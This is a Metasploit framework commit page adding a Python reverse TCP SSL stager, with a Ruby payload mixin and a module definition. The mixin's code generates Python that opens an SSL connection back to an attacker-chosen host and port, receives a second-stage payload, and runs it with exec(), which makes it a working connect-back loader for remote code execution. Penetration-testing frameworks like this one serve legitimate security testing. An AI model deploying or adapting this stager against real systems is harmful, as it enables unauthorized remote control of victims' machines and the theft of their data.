Skip to content

Commit a747099

Browse files
RageLtManBrent Cook
authored andcommitted
Bring Python reverse_tcp_ssl payload upstream
Adds TLS/SSL transport encryption for reverse tcp payloads in python
1 parent de94348 commit a747099

File tree

2 files changed

+103
-0
lines changed

2 files changed

+103
-0
lines changed
Lines changed: 73 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,73 @@
1+
# -*- coding: binary -*-
2+
3+
require 'msf/core'
4+
require 'msf/core/payload/windows/verify_ssl'
5+
require 'msf/core/payload/python/reverse_tcp'
6+
7+
module Msf
8+
9+
###
10+
#
11+
# Complex reverse_tcp payload generation for Python
12+
#
13+
###
14+
15+
module Payload::Python::ReverseTcpSsl
16+
17+
include Msf::Payload::Python
18+
include Msf::Payload::Python::ReverseTcp
19+
include Msf::Payload::Windows::VerifySsl
20+
21+
#
22+
# Generate the first stage
23+
#
24+
def generate
25+
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
26+
datastore['HandlerSSLCert'])
27+
conf = {
28+
port: datastore['LPORT'],
29+
host: datastore['LHOST'],
30+
retry_count: datastore['ReverseConnectRetries'],
31+
ssl: true,
32+
verify_cert_hash: verify_cert_hash
33+
}
34+
35+
generate_reverse_tcp_ssl(conf)
36+
end
37+
38+
#
39+
# By default, we don't want to send the UUID, but we'll send
40+
# for certain payloads if requested.
41+
#
42+
def include_send_uuid
43+
false
44+
end
45+
46+
def transport_config(opts={})
47+
transport_config_reverse_tcp_ssl(opts)
48+
end
49+
50+
def generate_reverse_tcp_ssl(opts={})
51+
# Set up the socket
52+
cmd = "import ssl,socket,struct\n"
53+
cmd << "so=socket.socket(2,1)\n" # socket.AF_INET = 2
54+
cmd << "so.connect(('#{opts[:host]}',#{opts[:port]}))\n"
55+
cmd << "s=ssl.wrap_socket(so)\n"
56+
cmd << py_send_uuid if include_send_uuid
57+
cmd << "l=struct.unpack('>I',s.recv(4))[0]\n"
58+
cmd << "d=s.recv(l)\n"
59+
cmd << "while len(d)<l:\n"
60+
cmd << "\td+=s.recv(l-len(d))\n"
61+
cmd << "exec(d,{'s':s})\n"
62+
63+
py_create_exec_stub(cmd)
64+
end
65+
66+
def handle_intermediate_stage(conn, payload)
67+
conn.put([payload.length].pack("N"))
68+
end
69+
70+
end
71+
72+
end
73+
Lines changed: 30 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,30 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'msf/core/handler/reverse_tcp_ssl'
8+
require 'msf/core/payload/python/reverse_tcp_ssl'
9+
10+
module Metasploit3
11+
12+
CachedSize = 317
13+
14+
include Msf::Payload::Stager
15+
include Msf::Payload::Python::ReverseTcpSsl
16+
17+
def initialize(info = {})
18+
super(merge_info(info,
19+
'Name' => 'Python Reverse TCP SSL Stager',
20+
'Description' => 'Reverse Python connect back stager using SSL',
21+
'Author' => ['Ben Campbell', 'RageLtMan'],
22+
'License' => MSF_LICENSE,
23+
'Platform' => 'python',
24+
'Arch' => ARCH_PYTHON,
25+
'Handler' => Msf::Handler::ReverseTcpSsl,
26+
'Stager' => {'Payload' => ""}
27+
))
28+
end
29+
30+
end

0 commit comments

Comments
 (0)